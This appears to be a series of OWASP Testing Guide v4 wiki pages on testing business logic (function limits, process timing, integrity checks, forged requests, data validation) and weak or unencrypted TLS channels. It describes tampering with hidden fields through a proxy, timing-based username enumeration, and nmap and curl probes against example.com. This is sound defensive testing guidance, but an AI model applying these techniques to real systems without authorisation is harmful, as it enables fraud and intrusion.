• Review the project documentation and use exploratory testing looking for functions or features in the application or system that should not be executed more that a single time or specified number of times during the business logic workflow.

• For each of the functions and features found that should only be executed a single time or specified number of times during the business logic workflow, develop abuse/misuse cases that may allow a user to execute more than the allowable number of times. For example, can a user navigate back and forth through the pages multiple times executing a function that should only execute once? or can a user load and unload shopping carts allowing for additional discounts.

== Related Test Cases ==

[[Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)| Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) ]]

[[Testing for Weak lock out mechanism (OTG-AUTHN-003)| Testing for Weak lock out mechanism (OTG-AUTHN-003)]]

== References ==

InfoPath Forms Services business logic exceeded the maximum limit of operations Rule - http://mpwiki.viacode.com/default.aspx?g=posts&t=115678

Gold Trading Was Temporarily Halted On The CME This Morning -
http://www.businessinsider.com/gold-halted-on-cme-for-stop-logic-event-2013-10

== Remediation ==

The application should have checks to ensure that the business logic is being followed and that if a function/action can only be executed a certain number of times, when the limit is reached the user can no longer execute the function. To prevent users from using a function over the appropriate number of times the application may use mechanisms such as cookies to keep count or through sessions not allowing users to access to execute the function additional times.

Test for Process Timing (OTG-BUSLOGIC-004)

2014-08-08T13:07:00Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==

It is possible that attackers can gather information on an application by monitoring the time it takes to complete a task or give a respond. Additionally, attackers may be able to manipulate and break designed business process flows by simply keeping active sessions open and not submitting their transactions in the "expected" time frame.

Process timing logic vulnerabilities is unique in that these manual misuse cases should be created considering execution and transaction timing that are application/system specific.

Processing timing may give/leak information on what is being done in the application/system background processes. If an application allows users to guess what the particulate next outcome will be by processing time variations, users will be able to adjust accordingly and change behavior based on the expectation and "game the system".

== Example ==

Example 1

Video gambling/slot machines may take longer to process a transaction just prior to a large payout. This would allow astute gamblers to gamble minimum amounts until they see the long process time which would then prompt them to bet the maximum.

Example 2

Many system log on processes ask for the user name and password. If you look closely you may be able to see that entering an invalid user name and invalid user password takes more time to return an error than entering a valid username and invalid user password. This may allow the attacker to know if they have a valid username and not need to rely on the GUI message.

Example 3

Most Arenas or travel agencies have ticketing applications that allow users to purchase tickets and reserve seats. When the user requests the tickets seats are locked or reserved pending payment. What if an attacker keeps reserving seats but not checking out? Will the seats be released, or will no tickets be sold? Some ticket vendors now only allow users 5 minutes to complete a transaction or the transaction is invalidated.

Example 4

Suppose a precious metals e-commerce site allows users to make purchases with a price quote based on market price at the time they log on. What if an attacker logs on and places an order but does not complete the transaction until later in the day only of the price of the metals goes up? Will the attacker get the initial lower price?

== How to Test ==

• Review the project documentation and use exploratory testing looking for application/system functionality that may be impacted by time. Such as execution time or actions that help users predict a future outcome or allow one to circumvent any part of the business logic or workflow. For example, not completing transactions in an expected time.

• Develop and execute the mis-use cases ensuring that attackers can not gain an advantage based on any timing.

== Related Test Cases ==

[[Testing for cookies attributes (OTG-SESS-002)| Testing for Cookies attributes (OTG-SESS-002)]]

[[Test Session Timeout (OTG-SESS-007)| Test Session Timeout (OTG-SESS-007)]]

== References ==

None

== Remediation ==

Develop applications with processing time in mind. If attackers could possibly gain some type of advantage from knowing the different processing times and results add extra steps or processing so that no matter the results they are provided in the same time frame.

Additionally, the application/system must have mechanism in place to not allow attackers to extend transactions over an "acceptable" amount of time. This may be done by cancelling or resetting transactions after a specified amount of time has passed like some ticket vendors are now using.

Test integrity checks (OTG-BUSLOGIC-003)

2014-08-08T13:05:46Z

Andrew Muller:

== Summary ==

Many applications are designed to display different fields depending on the user of situation by leaving some inputs hidden. However, in many cases it is possible to submit values hidden field values to the server using a proxy. In these cases the server side controls must be smart enough to perform relational or server side edits to ensure that the proper data is allowed to the server based on user and application specific business logic.

Additionally, the application must not depend on non-editable controls, drop-down menus or hidden fields for business logic processing because these fields remain non-editable only in the context of the browsers. Users may be able to edit their values using proxy editor tools and try to manipulate business logic. If the application exposes values related to business rules like quantity, etc. as non-editable fields it must maintain a copy on the server side and use the same for business logic processing. Finally, aside application/system data, log systems must be secured to prevent read, writing and updating.

Business logic integrity check vulnerabilities is unique in that these misuse cases are application specific and if users are able to make changes one should only be able to write or update/edit specific artifacts at specific times per the business process logic.

The application must be smart enough to check for relational edits and not allow users to submit information directly to the server that is not valid, trusted because it came from a non-editable controls or the user is not authorized to submit through the front end. Additionally, system artifacts such as logs must be “protected” from unauthorized read, writing and removal.

== Example ==

Example 1

Imagine an ASP.NET application GUI application that only allows the admin user to change the password for other users in the system. The admin user will see the username and password fields to enter a username and password while other users will not see either field. However, if a non admin user submits information in the username and password field through a proxy they may be able to “trick” the server into believing that the request has come from an admin user and change password of other users.

Example 2

Most web applications have dropdown lists making it easy for the user to quickly select their state, month of birth, etc. Suppose a Project Management application allowed users to login and depending on their privileges presented them with a drop down list of projects they have access to. What happens if an attacker finds the name of another project that they should not have access to and submits the information via a proxy. Will the application give access to the project? They should not have access even though they skipped an authorization business logic check.

Example 3

Suppose the motor vehicle administration system required an employee initially verify each citizens documentation and information when they issue an identification or driver's license. At this point the business process has created data with a high level of integrity as the integrity of submitted data is checked by the application. Now suppose the application is moved to the Internet so employees can log on for full service or citizens can log on for a reduced self-service application to update certain information. At this point an attacker may be able to use an intercepting proxy to add or update data that they should not have access to and they could destroy the integrity of the data by stating that the citizen was not married but supplying data for a spouse’s name. This type of inserting or updating of unverified data destroys the data integrity and might have been prevented if the business process logic was followed.

Example 4

Many systems include logging for auditing and troubleshooting purposes. But, how good/valid is the information in these logs? Can they be manipulated by attackers either intentionally or accidentially having their integrity destroyed?

== How to Test ==

Generic Testing Method

• Review the project documentation and use exploratory testing looking for parts of the application/system (components i.e. For example, input fields, databases or logs) that move, store or handle data/information.

• For each identified component determine what type of data/information is logically acceptable and what types the application/system should guard against. Also, consider who according to the business logic is allowed to insert, update and delete data/information and in each component.

• Attempt to insert, update or edit delete the data/information values with invalid data/information into each component (i.e. input, database, or log) by users that .should not be allowed per the busines logic workflow.

Specific Testing Method 1

• Using a proxy capture and HTTP traffic looking for hidden fields.

• If a hidden field is found see how these fields compare with the GUI application and start interrogating this value through the proxy by submitting different data values trying to circumvent the business process and manipulate values you were not intended to have access to.

Specific Testing Method 2

• Using a proxy capture and HTTP traffic looking a place to insert information into areas of the application that are non-editable.

• If it is found see how these fields compare with the GUI application and start interrogating this value through the proxy by submitting different data values trying to circumvent the business process and manipulate values you were not intended to have access to.

Specific Testing Method 3

• List components of the application or system that could be edited, for example logs or databases.

• For each component identified, try to read, edit or remove its information. For example log files should be identified and Testers should try to manipulate the data/information being collected.

== Related Test Cases ==

All [[Testing for Input Validation|Input Validation]] test cases

== Tools ==

• Various system/application tools such as editors and file manipulation tools.

• ''OWASP Zed Attack Proxy (ZAP)'' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

== References ==

Implementing Referential Integrity and Shared Business Logic in a RDB - http://www.agiledata.org/essays/referentialIntegrity.html

On Rules and Integrity Constraints in Database Systems - http://www.comp.nus.edu.sg/~lingtw/papers/IST92.teopk.pdf

Use referential integrity to enforce basic business rules in Oracle - http://www.techrepublic.com/article/use-referential-integrity-to-enforce-basic-business-rules-in-oracle/

Maximizing Business Logic Reuse with Reactive Logic - http://architects.dzone.com/articles/maximizing-business-logic

Tamper Evidence Logging - http://tamperevident.cs.rice.edu/Logging.html

== Remediation ==

The application must be smart enough to check for relational edits and not allow users to submit information directly to the server that is not valid, trusted because it came from a non-editable controls or the user is not authorized to submit through the front end. Additionally, any component that can be edited must have mechanisms in place to prevent unintentional/intentional writing or updating.

Test Ability to forge requests (OTG-BUSLOGIC-002)

2014-08-08T13:04:30Z

Andrew Muller:

== Summary ==

Forging requests is a method that attackers use to circumvent the front end GUI application to directly submit information for back end processing. The goal of the attacker is to send HTTP POST/GET requests through an intercepting proxy with data values that is not supported, guarded against or expected by the applications business logic. Some examples of forged requests include exploiting guessable or predictable parameters or expose “hidden” features and functionality such as enabling debugging or presenting special screens or windows that are very useful during development but may leak information or bypass the business logic.

Vulnerabilities related to the ability to forge requests is unique to each application and different from business logic data validation in that it s focus is on breaking the business logic workflow.

Applications should have logic checks in place to prevent the system from accepting forged requests that may allow attackers the opportunity to exploit the business logic, process, or flow of the application. Request forgery is nothing new; the attacker uses an intercepting proxy to send HTTP POST/GET requests to the application. Through request forgeries attackers may be able to circumvent the business logic or process by finding, predicting and manipulating parameters to make the application think a process or task has or has not taken place.

Also, forged requests may allow subvention of programmatic or business logic flow by invoking “hidden” features or functionality such as debugging initially used by developers and testers sometimes referred to as an ”Easter egg”. “An Easter egg is an intentional inside joke, hidden message, or feature in a work such as a computer program, movie, book, or crossword. According to game designer Warren Robinett, the term was coined at Atari by personnel who were alerted to the presence of a secret message which had been hidden by Robinett in his already widely distributed game, Adventure. The name has been said to evoke the idea of a traditional Easter egg hunt.” http://en.wikipedia.org/wiki/Easter_egg_(media)

== Examples ==

Example 1

Suppose an e-commerce theater site allows users to select their ticket, apply a onetime 10% Senior discount on the entire sale, view the subtotal and tender the sale. If an attacker is able to see through a proxy that the application has a hidden field (of 1 or 0) used by the business logic to determine if a discount has been taken or not. The attacker is then able to submit the 1 or “no discount has been taken” value multiple times to take advantage of the same discount multiple times.

Example 2

Suppose an online video game pays out tokens for points scored for finding pirates treasure and pirates and for each level completed. These tokens can later be that can later be exchanged for prizes. Additionally each level's points have a multiplier value equal to the level. If an attacker was able to see through a proxy that the application has a hidden field used during development and testing to quickly get to the highest levels of the game they could quickly get to the highest levels and accumulate unearned points quickly.

Also, if an attacker was able to see through a proxy that the application has a hidden field used during development and testing to enabled a log that indicated where other online players, or hidden treasure were in relation to the attacker, they would then be able to quickly go to these locations and score points.

== How to Test==

Generic Testing Method

• Review the project documentation and use exploratory testing looking for guessable, predictable or hidden functionality of fields.

• Once found try to insert logically valid data into the application/system allowing the user go through the application/system against the normal busineess logic workflow.

Specific Testing Method 1

• Using an intercepting proxy observe the HTTP POST/GET looking for some indication that values are incrementing at a regular interval or are easily guessable.

• If it is found that some value is guessable this value may be changed and one may gain unexpected visibility.

Specific Testing Method 2

• Using an intercepting proxy observe the HTTP POST/GET looking for some indication of hidden features such as debug that can be switched on or activated.

• If any are found try to guess and change these values to get a different application response or behavior.

== Related Test Cases ==

[[Testing for Exposed Session Variables (OTG-SESS-004)| Testing for Exposed Session Variables (OTG-SESS-004)]]

[[Testing for CSRF (OTG-SESS-005)| Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]]

[[Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)| Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) ]]

== Tools ==

''OWASP Zed Attack Proxy (ZAP)'' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

== References ==

Cross Site Request Forgery - Legitimizing Forged Requests -
http://fragilesecurity.blogspot.com/2012/11/cross-site-request-forgery-legitimazing.html

Debugging features which remain present in the final game -
http://glitchcity.info/wiki/index.php/List_of_video_games_with_debugging_features#Debugging_features_which_remain_present_in_the_final_game

Easter egg - http://en.wikipedia.org/wiki/Easter_egg_(media)

Top 10 Software Easter Eggs - http://lifehacker.com/371083/top-10-software-easter-eggs

== Remediation ==

The application must be smart enough and designed with business logic that will prevent attackers from predicting and manipulating parameters to subvert programmatic or business logic flow, or exploiting hidden/undocumented functionality such as debugging.

Test business logic data validation (OTG-BUSLOGIC-001)

2014-08-08T13:03:12Z

Andrew Muller:

==Summary ==

The application must ensure that only logically valid data can be entered at the front end as well as directly to the server side of an application of system. Only verifying data locally may leave applications vulnerable to server injections through proxies or at handoffs with other systems. This is different from simply performing Boundary Value Analysis (BVA) in that it is more difficult and in most cases cannot be simply verified at the entry point, but usually requires checking some other system.

For example: An application may ask for your Social Security Number. In BVA the application should check formats and semantics (is the value 9 digits long, not negative and not all 0's) for the data entered, but there are logic considerations also. SSNs are grouped and categorized. Is this person on a death file? Are they from a certain part of the country?

Vulnerabilities related to business data validation is unique in that they are application specific and different from the vulnerabilities related to forging requests in that they are more concerned about logical data as opposed to simply breaking the business logic workflow.

The front end and the back end of the application should be verifying and validating that the data it has, is using and is passing along is logically valid. Even if the user provides valid data to an application the business logic may make the application behave differently depending on data or circumstances.

== Examples ==

Example 1

Suppose you manage a multi-tiered e-commerce site that allows users to order carpet. The user selects their carpet, enters the size, makes the payment, and the front end application has verified that all entered information is correct and valid for contact information, size, make and color of the carpet. But, the business logic in the background has two paths, if the carpet is in stock it is directly shipped from your warehouse, but if it is out of stock in your warehouse a call is made to a partner’s system and if they have it in-stock they will ship the order from their warehouse and reimbursed by them. What happens if an attacker is able to continue a valid in-stock transaction and send it as out-of-stock to your partner? What happens if an attacker is able to get in the middle and send messages to the partner warehouse ordering carpet without payment?

Example 2

Many credit card systems are now downloading account balances nightly so the customers can check out more quickly for amounts under a certain value. The inverse is also true. If I pay my credit card off in the morning I may not be able to use the available credit in the evening. Another example may be if I use my credit card at multiple locations very quickly it may be possible to exceed my limit if the systems are basing decisions on last night’s data.

== How to Test ==

Generic Test Method

• Review the project documentation and use exploratory testing looking for data entry points or hand off points between systems or software.

• Once found try to insert logically invalid data into the application/system.

Specific Testing Method:

• Perform front-end GUI Functional Valid testing on the application to ensure that the only "valid" values are accepted.

• Using an intercepting proxy observe the HTTP POST/GET looking for places that variables such as cost and quality are passed. Specifically, look for "hand-offs" between application/systems that may be possible injection of tamper points.

• Once variables are found start interrogating the field with logically "invalid" data, such as social security numbers or unique identifiers that do not exist or that do not fit the business logic. This testing verifies that the server functions properly and does not accept logically invalid data them.

== Related Test Cases ==

All [[Testing for Input Validation|Input Validation]] test cases

[[Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]]

[[Testing for Session_Management_Schema (OTG-SESS-001)|Testing for Bypassing Session Management Schema (OTG-SESS-001)]]

[[Testing for Exposed Session Variables (OTG-SESS-004)]]

== Tools ==

''OWASP Zed Attack Proxy (ZAP)'' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

== References ==

Beginning Microsoft Visual Studio LightSwitch Development - http://books.google.com/books?id=x76L_kaTgdEC&pg=PA280&lpg=PA280&dq=business+logic+example+valid+data+example&source=bl&ots=GOfQ-7f4Hu&sig=4jOejZVligZOrvjBFRAT4-jy8DI&hl=en&sa=X&ei=mydYUt6qEOX54APu7IDgCQ&ved=0CFIQ6AEwBDgK#v=onepage&q=business%20logic%20example%20valid%20data%20example&f=false

== Remediation ==

The application/system must ensure that only "logically valid" data is accepted at all input and hand off points of the application or system and data is not simply trusted once it has entered the system.

Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)

2014-08-08T12:59:57Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==
Sensitive data must be protected when it is transmitted through the network. If data is transmitted over HTTPS or encrypted in another way the protection mechanism must not have limitations or vulnerabilities, as explained in the broader article [https://www.owasp.org/index.php?title=Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_%28OTG-CRYPST-001%29 Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)] [1] and in other OWASP documentation [2], [3], [4], [5].

As a rule of thumb if data must be protected when it is stored, this data must also be protected during transmission. Some examples for sensitive data are:
* Information used in authentication (e.g. Credentials, PINs, Session identifiers, Tokens, Cookies…)
* Information protected by laws, regulations or specific organizational policy (e.g. Credit Cards, Customers data)

If the application transmits sensitive information via unencrypted channels - e.g. HTTP - it is considered a security risk. Some examples are Basic authentication which sends authentication credentials in plain-text over HTTP, form based authentication credentials sent via HTTP, or plain-text transmission of any other information considered sensitive due to regulations, laws, organizational policy or application business logic.

== How to Test ==
Various types of information that must be protected, could be transmitted by the application in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS, or whether weak cyphers are used. See more information about insecure transmission of credentials [https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure Top 10 2013-A6-Sensitive Data Exposure] [3] or insufficient transport layer protection in general [https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection Top 10 2010-A9-Insufficient Transport Layer Protection] [2].

=== Example 1: Basic Authentication over HTTP ===
A typical example is the usage of Basic Authentication over HTTP. When using Basic Authentication, user credentials are encoded rather than encrypted, and are sent as HTTP headers. In the example below the tester uses curl [5] to test for this issue. Note how the application uses Basic authentication, and HTTP rather than HTTPS

<pre>
$ curl -kis http://example.com/restricted/
HTTP/1.1 401 Authorization Required
Date: Fri, 01 Aug 2013 00:00:00 GMT
WWW-Authenticate: Basic realm="Restricted Area"
Accept-Ranges: bytes Vary:
Accept-Encoding Content-Length: 162
Content-Type: text/html

<html><head><title>401 Authorization Required</title></head>
<body bgcolor=white> <h1>401 Authorization Required</h1> Invalid login credentials! </body></html>
</pre>

=== Example 2: Form-Based Authentication Performed over HTTP ===
Another typical example is authentication forms which transmit user authentication credentials over HTTP. In the example below one can see HTTP being used in the "action" attribute of the form. It is also possible to see this issue by examining the HTTP traffic with an interception proxy.

<pre>
<form action="http://example.com/login">
<label for="username">User:</label> <input type="text" id="username" name="username" value=""/><br />
<label for="password">Password:</label> <input type="password" id="password" name="password" value=""/>
<input type="submit" value="Login"/>
</form>
</pre>

=== Example 3: Cookie Containing Session ID Sent over HTTP ===
The Session ID Cookie must be transmitted over protected channels. If the cookie does not have the secure flag set [6] it is permitted for the application to transmit it unencrypted. Note below the setting of the cookie is done without the Secure flag, and the entire log in process is performed in HTTP and not HTTPS.

<pre>
https://secure.example.com/login

POST /login HTTP/1.1
Host: secure.example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://secure.example.com/
Content-Type: application/x-www-form-urlencoded
Content-Length: 188

HTTP/1.1 302 Found
Date: Tue, 03 Dec 2013 21:18:55 GMT
Server: Apache
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Set-Cookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA; expires=Fri, 01-Jan-2014 00:00:00 GMT; path=/; domain=example.com; httponly
Location: private/
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: text/html

----------------------------------------------------------
http://example.com/private

GET /private HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://secure.example.com/login
Cookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA;
Connection: keep-alive

HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Expires: 0
Content-Type: text/html;charset=UTF-8
Content-Length: 730
Date: Tue, 25 Dec 2013 00:00:00 GMT
----------------------------------------------------------
</pre>

==Tools==
* [5] [http://curl.haxx.se/ curl] can be used to check manually for pages

==References==
'''OWASP Resources'''
* [1] [https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_%28OTG-CRYPST-001%29 OWASP Testing Guide - Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]
* [2] [https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection OWASP TOP 10 2010 - Insufficient Transport Layer Protection]
* [3] [https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure OWASP TOP 10 2013 - Sensitive Data Exposure]
* [4] [https://code.google.com/p/owasp-asvs/wiki/Verification_V10 OWASP ASVS v1.1 - V10 Communication Security Verification Requirements]
* [6] [https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OTG-SESS-002) OWASP Testing Guide - Testing for Cookies attributes (OTG-SESS-002)]

Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)

2014-08-08T12:58:26Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==

Sensitive data must be protected when it is transmitted through the network. Such data can include user credentials and credit cards. As a rule of thumb, if data must be protected when it is stored, it must be protected also during transmission.

HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]. The use of this protocol ensures not only confidentiality, but also authentication. Servers are authenticated using digital certificates and it is also possible to use client certificate for mutual authentication.

Even if high grade ciphers are today supported and normally used, some misconfiguration in the server can be used to force the use of a weak cipher - or at worst no encryption - permitting to an attacker to gain access to the supposed secure communication channel. Other misconfiguration can be used for a Denial of Service attack.

== Common Issues ==
A vulnerability occurs if the HTTP protocol is used to transmit sensitive information [2] (e.g. credentials transmitted over HTTP [3]).

When the SSL/TLS service is present it is good but it increments the attack surface and the following vulnerabilities exist:
* SSL/TLS protocols, ciphers, keys and renegotiation must be properly configured.
* Certificate validity must be ensured.

Other vulnerabilities linked to this are:
* Software exposed must be updated due to possibility of known vulnerabilities [4].
* Usage of Secure flag for Session Cookies [5].
* Usage of HTTP Strict Transport Security (HSTS) [6].
* The presence of HTTP and HTTPS both, which can be used to intercept traffic [7], [8].
* The presence of mixed HTTPS and HTTP content in the same page, which can be used to Leak information.

===Sensitive data transmitted in clear-text===
The application should not transmit sensitive information via unencrypted channels. Typically it is possible to find basic authentication over HTTP, input password or session cookie sent via HTTP and, in general, other information considered by regulations, laws or organization policy.

===Weak SSL/TLS Ciphers/Protocols/Keys===
Historically, there have been limitations set in place by the U.S. government to allow cryptosystems to be exported only for key sizes of at most 40 bits, a key length which could be broken and would allow the decryption of communications. Since then cryptographic export regulations have been relaxed the maximum key size is 128 bits.

It is important to check the SSL configuration being used to avoid putting in place cryptographic support which could be easily defeated. To reach this goal SSL-based services should not offer the possibility to choose weak cipher suite. A cipher suite is specified by an encryption protocol (e.g. DES, RC4, AES), the encryption key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g. SHA, MD5) used for integrity checking.

Briefly, the key points for the cipher suite determination are the following:
# The client sends to the server a ClientHello message specifying, among other information, the protocol and the cipher suites that it is able to handle. Note that a client is usually a web browser (most popular SSL client nowadays), but not necessarily, since it can be any SSL-enabled application; the same holds for the server, which needs not to be a web server, though this is the most common case [9].
#The server responds with a ServerHello message, containing the chosen protocol and cipher suite that will be used for that session (in general the server selects the strongest protocol and cipher suite supported by both the client and server).

It is possible (for example, by means of configuration directives) to specify which cipher suites the server will honor. In this way you may control whether or not conversations with clients will support 40-bit encryption only.

#The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.
#The server sends a ServerHelloDone message and waits for a client response.
#Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.

===SSL certificate validity – client and server===

When accessing a web application via the HTTPS protocol, a secure channel is established between the client and the server. The identity of one (the server) or both parties (client and server) is then established by means of digital certificates. So, once the cipher suite is determined, the “SSL Handshake” continues with the exchange of the certificates:
# The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.
# The server sends a ServerHelloDone message and waits for a client response.
# Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.

In order for the communication to be set up, a number of checks on the certificates must be passed. While discussing SSL and certificate based authentication is beyond the scope of this guide, this section will focus on the main criteria involved in ascertaining certificate validity:

* Checking if the Certificate Authority (CA) is a known one (meaning one considered trusted);
* Checking that the certificate is currently valid;
* Checking that the name of the site and the name reported in the certificate match.

Let's examine each check more in detail.

* Each browser comes with a pre-loaded list of trusted CAs, against which the certificate signing CA is compared (this list can be customized and expanded at will). During the initial negotiations with an HTTPS server, if the server certificate relates to a CA unknown to the browser, a warning is usually raised. This happens most often because a web application relies on a certificate signed by a self-established CA. Whether this is to be considered a concern depends on several factors. For example, this may be fine for an Intranet environment (think of corporate web email being provided via HTTPS; here, obviously all users recognize the internal CA as a trusted CA). When a service is provided to the general public via the Internet, however (i.e. when it is important to positively verify the identity of the server we are talking to), it is usually imperative to rely on a trusted CA, one which is recognized by all the user base (and here we stop with our considerations; we won’t delve deeper in the implications of the trust model being used by digital certificates).

* Certificates have an associated period of validity, therefore they may expire. Again, we are warned by the browser about this. A public service needs a temporally valid certificate; otherwise, it means we are talking with a server whose certificate was issued by someone we trust, but has expired without being renewed.

* What if the name on the certificate and the name of the server do not match? If this happens, it might sound suspicious. For a number of reasons, this is not so rare to see. A system may host a number of name-based virtual hosts, which share the same IP address and are identified by means of the HTTP 1.1 Host: header information. In this case, since the SSL handshake checks the server certificate before the HTTP request is processed, it is not possible to assign different certificates to each virtual server. Therefore, if the name of the site and the name reported in the certificate do not match, we have a condition which is typically signaled by the browser. To avoid this, IP-based virtual servers must be used. [33] and [34] describe techniques to deal with this problem and allow name-based virtual hosts to be correctly referenced.

===Other vulnerabilities===
The presence of a new service, listening in a separate tcp port may introduce vulnerabilities such as infrastructure vulnerabilities if the software is not up to date [4]. Furthermore, for the correct protection of data during transmission the Session Cookie must use the Secure flag [5] and some directives should be sent to the browser to accept only secure traffic (e.g. HSTS [6], CSP).

Also there are some attacks that can be used to intercept traffic if the web server exposes the application on both HTTP and HTTPS [6], [7] or in case of mixed HTTP and HTTPS resources in the same page.

== How to Test ==

===Testing for sensitive data transmitted in clear-text===
Various types of information which must be protected can be also transmitted in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS. Please refer to specific tests for full details, for credentials [3] and other kind of data [2].

=====Example 1. Basic Authentication over HTTP=====
A typical example is the usage of Basic Authentication over HTTP because with Basic Authentication, after log in, credentials are encoded - and not encrypted - into HTTP Headers.

<pre>
$ curl -kis http://example.com/restricted/
HTTP/1.1 401 Authorization Required
Date: Fri, 01 Aug 2013 00:00:00 GMT
WWW-Authenticate: Basic realm="Restricted Area"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 162
Content-Type: text/html

<html><head><title>401 Authorization Required</title></head>
<body bgcolor=white>
<h1>401 Authorization Required</h1>

Invalid login credentials!

</body></html>
</pre>

===Testing for Weak SSL/TLS Ciphers/Protocols/Keys vulnerabilities===
The large number of available cipher suites and quick progress in cryptanalysis makes testing an SSL server a non-trivial task.

At the time of writing these criteria are widely recognized as minimum checklist:
* Weak ciphers must not be used (e.g. less than 128 bits [10]; no NULL ciphers suite, due to no encryption used; no Anonymous Diffie-Hellmann, due to not provides authentication).
* Weak protocols must be disabled (e.g. SSLv2 must be disabled, due to known weaknesses in protocol design [11]).
* Renegotiation must be properly configured (e.g. Insecure Renegotiation must be disabled, due to MiTM attacks [12] and Client-initiated Renegotiation must be disabled, due to Denial of Service vulnerability [13]).
* No Export (EXP) level cipher suites, due to can be easly broken [10].
* X.509 certificates key length must be strong (e.g. if RSA or DSA is used the key must be at least 1024 bits).
* X.509 certificates must be signed only with secure hashing algoritms (e.g. not signed using MD5 hash, due to known collision attacks on this hash).
* Keys must be generated with proper entropy (e.g, Weak Key Generated with Debian) [14].

A more complete checklist includes:
* Secure Renegotiation should be enabled.
* MD5 should not be used, due to known collision attacks. [35]
* RC4 should not be used, due to crypto-analytical attacks [15].
* Server should be protected from BEAST Attack [16].
* Server should be protected from CRIME attack, TLS compression must be disabled [17].
* Server should support Forward Secrecy [18].

The following standards can be used as reference while assessing SSL servers:
* PCI-DSS v2.0 in point 4.1 requires compliant parties to use "strong cryptography" without precisely defining key lengths and algorithms. Common interpretation, partially based on previous versions of the standard, is that at least 128 bit key cipher, no export strength algorithms and no SSLv2 should be used [19].
* Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] and SSL Threat Model [20] has been proposed to standardize SSL server assessment and configuration. But is less updated than the SSL Server tool [21].
* OWASP has a lot of resources about SSL/TLS Security [22], [23], [24], [25]. [26].

Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan [29]) and commercial (e.g. Tenable Nessus [27]), can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way to test is to check them manually with openssl [30] or use the tool’s output as an input for manual evaluation using the references.

Sometimes the SSL/TLS enabled service is not directly accessible and the tester can access it only via a HTTP proxy using CONNECT method [36]. Most of the tools will try to connect to desired tcp port to start SSL/TLS handshake. This will not work since desired port is accessible only via HTTP proxy. The tester can easily circumvent this by using relaying software such as socat [37].

====Example 2. SSL service recognition via nmap====

The first step is to identify ports which have SSL/TLS wrapped services. Typically tcp ports with SSL for web and mail services are - but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop).

In this example we search for SSL services using nmap with “-sV” option, used to identify services and it is also able to identify SSL services [31]. Other options are for this particular example and must be customized. Often in a Web Application Penetration Test scope is limited to port 80 and 443.

<pre>
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST
Nmap scan report for www.example.com (127.0.0.1)
Host is up, received user-set (0.20s latency).
